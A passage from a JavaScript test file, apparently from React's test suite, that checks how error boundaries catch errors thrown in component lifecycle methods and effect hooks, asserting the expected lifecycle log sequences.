componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // Normal2 will attempt to mount:\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      // BrokenConstructor will abort rendering:\n      'BrokenConstructor constructor [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      'BrokenConstructor constructor [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Normal componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches if child throws in componentWillMount during update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <Normal logName=\"Normal2\" />\n          <BrokenComponentWillMount />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // Normal2 will attempt to mount:\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      // BrokenComponentWillMount will abort rendering:\n      'BrokenComponentWillMount constructor',\n      'BrokenComponentWillMount componentWillMount [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      'BrokenComponentWillMount constructor',\n      'BrokenComponentWillMount componentWillMount [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Normal componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches if child throws in componentWillReceiveProps during update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <BrokenComponentWillReceiveProps />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <BrokenComponentWillReceiveProps />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // BrokenComponentWillReceiveProps will abort rendering:\n      'BrokenComponentWillReceiveProps componentWillReceiveProps [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      'BrokenComponentWillReceiveProps componentWillReceiveProps [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Normal componentWillUnmount',\n      'BrokenComponentWillReceiveProps componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches if child throws in componentWillUpdate during update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <BrokenComponentWillUpdate />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <BrokenComponentWillUpdate />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // BrokenComponentWillUpdate will abort rendering:\n      'BrokenComponentWillUpdate componentWillReceiveProps',\n      'BrokenComponentWillUpdate componentWillUpdate [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      'BrokenComponentWillUpdate componentWillReceiveProps',\n      'BrokenComponentWillUpdate componentWillUpdate [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Normal componentWillUnmount',\n      'BrokenComponentWillUpdate componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches if child throws in render during update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <Normal logName=\"Normal2\" />\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // Normal2 will attempt to mount:\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      // BrokenRender will abort rendering:\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Normal componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('keeps refs up-to-date during updates', async () => {\n    function child1Ref(x) {\n      Scheduler.log('Child1 ref is set to ' + x);\n    }\n    function child2Ref(x) {\n      Scheduler.log('Child2 ref is set to ' + x);\n    }\n    function errorMessageRef(x) {\n      Scheduler.log('Error message ref is set to ' + x);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary errorMessageRef={errorMessageRef}>\n          <div ref={child1Ref} />\n        </ErrorBoundary>,\n      );\n    });\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'Child1 ref is set to [object HTMLDivElement]',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    await act(async () => {\n      root.render(\n        <ErrorBoundary errorMessageRef={errorMessageRef}>\n          <div ref={child1Ref} />\n          <div ref={child2Ref} />\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // BrokenRender will abort rendering:\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // Update Child1 ref since Child1 has been unmounted\n      // Child2 ref is never set because its mounting aborted\n      'Child1 ref is set to null',\n      'Error message ref is set to [object HTMLDivElement]',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog([\n      'ErrorBoundary componentWillUnmount',\n      'Error message ref is set to null',\n    ]);\n  });\n\n  it('recovers from componentWillUnmount errors on update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentWillUnmount />\n          <BrokenComponentWillUnmount />\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentWillUnmount />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // Update existing child:\n      'BrokenComponentWillUnmount componentWillReceiveProps',\n      'BrokenComponentWillUnmount componentWillUpdate',\n      'BrokenComponentWillUnmount render',\n      // Unmounting throws:\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Fiber proceeds with lifecycles despite errors\n      'Normal componentWillUnmount',\n      // The components have updated in this phase\n      'BrokenComponentWillUnmount componentDidUpdate',\n      'ErrorBoundary componentDidUpdate',\n      // The initial render was aborted, so\n      // Fiber retries from the root.\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      'ErrorBoundary componentDidUpdate',\n      // The second willUnmount error should be captured and logged, too.\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      // Render an error now (stack will do it later)\n      'ErrorBoundary render error',\n      // Attempt to unmount previous child:\n      // Done\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('recovers from nested componentWillUnmount errors on update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal>\n            <BrokenComponentWillUnmount />\n          </Normal>\n          <BrokenComponentWillUnmount />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal>\n            <BrokenComponentWillUnmount />\n          </Normal>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // Update existing children:\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      'BrokenComponentWillUnmount componentWillReceiveProps',\n      'BrokenComponentWillUnmount componentWillUpdate',\n      'BrokenComponentWillUnmount render',\n      // Unmounting throws:\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Fiber proceeds with lifecycles despite errors\n      'BrokenComponentWillUnmount componentDidUpdate',\n      'Normal componentDidUpdate',\n      'ErrorBoundary componentDidUpdate',\n      // Now that commit phase is done, Fiber handles errors\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Normal componentWillUnmount',\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      'ErrorBoundary componentDidUpdate',\n      // The second willUnmount error should be captured and logged, too.\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      // Render an error now (stack will do it later)\n      'ErrorBoundary render error',\n      // Done\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('picks the right boundary when handling unmounting errors', async () => {\n    function renderInnerError(error) {\n      return <div>Caught an inner error: {error.message}.</div>;\n    }\n    function renderOuterError(error) {\n      return <div>Caught an outer error: {error.message}.</div>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary\n          logName=\"OuterErrorBoundary\"\n          renderError={renderOuterError}>\n          <ErrorBoundary\n            logName=\"InnerErrorBoundary\"\n            renderError={renderInnerError}>\n            <BrokenComponentWillUnmount />\n          </ErrorBoundary>\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary\n          logName=\"OuterErrorBoundary\"\n          renderError={renderOuterError}>\n          <ErrorBoundary\n            logName=\"InnerErrorBoundary\"\n            renderError={renderInnerError}\n          />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an inner error: Hello.');\n    assertLog([\n      // Update outer boundary\n      'OuterErrorBoundary componentWillReceiveProps',\n      'OuterErrorBoundary componentWillUpdate',\n      'OuterErrorBoundary render success',\n      // Update inner boundary\n      'InnerErrorBoundary componentWillReceiveProps',\n      'InnerErrorBoundary componentWillUpdate',\n      'InnerErrorBoundary render success',\n      // Try unmounting child\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Now that commit phase is done, Fiber handles errors\n      // Only inner boundary receives the error:\n      'InnerErrorBoundary componentDidUpdate',\n      'OuterErrorBoundary componentDidUpdate',\n      'ErrorBoundary static getDerivedStateFromError',\n      'InnerErrorBoundary componentWillUpdate',\n      // Render an error now\n      'InnerErrorBoundary render error',\n      // In Fiber, this was a local update to the\n      // inner boundary so only its hook fires\n      'InnerErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog([\n      'OuterErrorBoundary componentWillUnmount',\n      'InnerErrorBoundary componentWillUnmount',\n    ]);\n  });\n\n  it('can recover from error state', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n    // Error boundary doesn't retry by itself:\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    // Force the success path:\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary forceRetry={true}>\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).not.toContain('Caught an error');\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // Mount children:\n      'Normal constructor',\n      'Normal componentWillMount',\n      'Normal render',\n      // Finalize updates:\n      'Normal componentDidMount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog([\n      'ErrorBoundary componentWillUnmount',\n      'Normal componentWillUnmount',\n    ]);\n  });\n\n  it('can update multiple times in error state', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    Scheduler.unstable_clearLog();\n\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    Scheduler.unstable_clearLog();\n\n    await act(async () => {\n      root.render(<div>Other screen</div>);\n    });\n    expect(container.textContent).toBe('Other screen');\n\n    root.unmount();\n  });\n\n  it(\"doesn't get into inconsistent state during removals\", async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <BrokenComponentWillUnmount />\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(<ErrorBoundary />);\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    Scheduler.unstable_clearLog();\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it(\"doesn't get into inconsistent state during additions\", async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<ErrorBoundary />);\n    });\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'ErrorBoundary componentDidMount',\n    ]);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <BrokenRender />\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    Scheduler.unstable_clearLog();\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it(\"doesn't get into inconsistent state during reorders\", async () => {\n    function getAMixOfNormalAndBrokenRenderElements() {\n      const elements = [];\n      for (let i = 0; i < 100; i++) {\n        elements.push(<Normal key={i} />);\n      }\n      elements.push(<MaybeBrokenRender key={100} />);\n\n      let currentIndex = elements.length;\n      while (0 !== currentIndex) {\n        const randomIndex = Math.floor(Math.random() * currentIndex);\n        currentIndex -= 1;\n        const temporaryValue = elements[currentIndex];\n        elements[currentIndex] = elements[randomIndex];\n        elements[randomIndex] = temporaryValue;\n      }\n      return elements;\n    }\n\n    class MaybeBrokenRender extends React.Component {\n      render() {\n        if (fail) {\n          throw new Error('Hello');\n        }\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    let fail = false;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          {getAMixOfNormalAndBrokenRenderElements()}\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).not.toContain('Caught an error');\n\n    fail = true;\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          {getAMixOfNormalAndBrokenRenderElements()}\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    Scheduler.unstable_clearLog();\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches errors originating downstream', async () => {\n    let fail = false;\n    class Stateful extends React.Component {\n      state = {shouldThrow: false};\n\n      render() {\n        if (fail) {\n          Scheduler.log('Stateful render [!]');\n          throw new Error('Hello');\n        }\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    let statefulInst;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Stateful ref={inst => (statefulInst = inst)} />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    expect(() => {\n      fail = true;\n      statefulInst.forceUpdate();\n    }).not.toThrow();\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches errors in componentDidMount', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentWillUnmount>\n            <Normal />\n          </BrokenComponentWillUnmount>\n          <BrokenComponentDidMount />\n          <Normal logName=\"LastChild\" />\n        </ErrorBoundary>,\n      );\n    });\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillUnmount constructor',\n      'BrokenComponentWillUnmount componentWillMount',\n      'BrokenComponentWillUnmount render',\n      'Normal constructor',\n      'Normal componentWillMount',\n      'Normal render',\n      'BrokenComponentDidMount constructor',\n      'BrokenComponentDidMount componentWillMount',\n      'BrokenComponentDidMount render',\n      'LastChild constructor',\n      'LastChild componentWillMount',\n      'LastChild render',\n      // Start flushing didMount queue\n      'Normal componentDidMount',\n      'BrokenComponentWillUnmount componentDidMount',\n      'BrokenComponentDidMount componentDidMount [!]',\n      // Continue despite the error\n      'LastChild componentDidMount',\n      // Now we are ready to handle the error\n      'ErrorBoundary componentDidMount',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // Safely unmount every child\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Continue unmounting safely despite any errors\n      'Normal componentWillUnmount',\n      'BrokenComponentDidMount componentWillUnmount',\n      'LastChild componentWillUnmount',\n      // The willUnmount error should be captured and logged, too.\n      'ErrorBoundary componentDidUpdate',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // The update has finished\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches errors in componentDidUpdate', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentDidUpdate />\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentDidUpdate />\n        </ErrorBoundary>,\n      );\n    });\n    assertLog([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'BrokenComponentDidUpdate componentWillReceiveProps',\n      'BrokenComponentDidUpdate componentWillUpdate',\n      'BrokenComponentDidUpdate render',\n      // All lifecycles run\n      'BrokenComponentDidUpdate componentDidUpdate [!]',\n      'ErrorBoundary componentDidUpdate',\n      // Then, error is handled\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'BrokenComponentDidUpdate componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches errors in useEffect', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenUseEffect>Initial value</BrokenUseEffect>\n        </ErrorBoundary>,\n      );\n    });\n\n    // verify flushed passive effects and handle the error\n    assertLog([\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenUseEffect render',\n      'ErrorBoundary componentDidMount',\n      'BrokenUseEffect useEffect [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n  });\n\n  it('catches errors in useLayoutEffect', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenUseLayoutEffect>Initial value</BrokenUseLayoutEffect>\n        </ErrorBoundary>,\n      );\n    });\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenUseLayoutEffect render',\n      'BrokenUseLayoutEffect useLayoutEffect [!]',\n      // Fiber proceeds with the hooks\n      'ErrorBoundary componentDidMount',\n      // The error propagates to the higher boundary\n      'ErrorBoundary static getDerivedStateFromError',\n      // Fiber retries from the root\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n  });\n\n  it('propagates errors inside boundary during componentDidMount', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentDidMountErrorBoundary\n            renderError={error => (\n              <div>We should never catch our own error: {error.message}.</div>\n            )}\n          />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentDidMountErrorBoundary constructor',\n      'BrokenComponentDidMountErrorBoundary componentWillMount',\n      'BrokenComponentDidMountErrorBoundary render success',\n      'BrokenComponentDidMountErrorBoundary componentDidMount [!]',\n      // Fiber proceeds with the hooks\n      'ErrorBoundary componentDidMount',\n      // The error propagates to the higher boundary\n      'ErrorBoundary static getDerivedStateFromError',\n      // Fiber retries from the root\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'BrokenComponentDidMountErrorBoundary componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('calls static getDerivedStateFromError for each error that is captured', async () => {\n    function renderUnmountError(error) {\n      return <div>Caught an unmounting error: {error.message}.</div>;\n    }\n    function renderUpdateError(error) {\n      return <div>Caught an updating error: {error.message}.</div>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary logName=\"OuterErrorBoundary\">\n          <ErrorBoundary\n            logName=\"InnerUnmountBoundary\"\n            renderError={renderUnmountError}>\n            <BrokenComponentWillUnmount errorText=\"E1\" />\n            <BrokenComponentWillUnmount errorText=\"E2\" />\n          </ErrorBoundary>\n          <ErrorBoundary\n            logName=\"InnerUpdateBoundary\"\n            renderError={renderUpdateError}>\n            <BrokenComponentDidUpdate errorText=\"E3\" />\n            <BrokenComponentDidUpdate errorText=\"E4\" />\n          </ErrorBoundary>\n        </ErrorBoundary>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary logName=\"OuterErrorBoundary\">\n          <ErrorBoundary\n            logName=\"InnerUnmountBoundary\"\n            renderError={renderUnmountError}\n          />\n          <ErrorBoundary\n            logName=\"InnerUpdateBoundary\"\n            renderError={renderUpdateError}>\n            <BrokenComponentDidUpdate errorText=\"E3\" />\n            <BrokenComponentDidUpdate errorText=\"E4\" />\n          </ErrorBoundary>\n        </ErrorBoundary>,\n      );\n    });\n\n    expect(container.firstChild.textContent).toBe(\n      'Caught an unmounting error: E2.' + 'Caught an updating error: E4.',\n    );\n    assertLog([\n      // Begin update phase\n      'OuterErrorBoundary componentWillReceiveProps',\n      'OuterErrorBoundary componentWillUpdate',\n      'OuterErrorBoundary render success',\n      'InnerUnmountBoundary componentWillReceiveProps',\n      'InnerUnmountBoundary componentWillUpdate',\n      'InnerUnmountBoundary render success',\n      'InnerUpdateBoundary componentWillReceiveProps',\n      'InnerUpdateBoundary componentWillUpdate',\n      'InnerUpdateBoundary render success',\n      // First come the updates\n      'BrokenComponentDidUpdate componentWillReceiveProps',\n      'BrokenComponentDidUpdate componentWillUpdate',\n      'BrokenComponentDidUpdate render',\n      'BrokenComponentDidUpdate componentWillReceiveProps',\n      'BrokenComponentDidUpdate componentWillUpdate',\n      'BrokenComponentDidUpdate render',\n      // We're in commit phase now, deleting\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Continue despite errors, handle them after commit is done\n      'InnerUnmountBoundary componentDidUpdate',\n      // We're still in commit phase, now calling update lifecycles\n      'BrokenComponentDidUpdate componentDidUpdate [!]',\n      // Again, continue despite errors, we'll handle them later\n      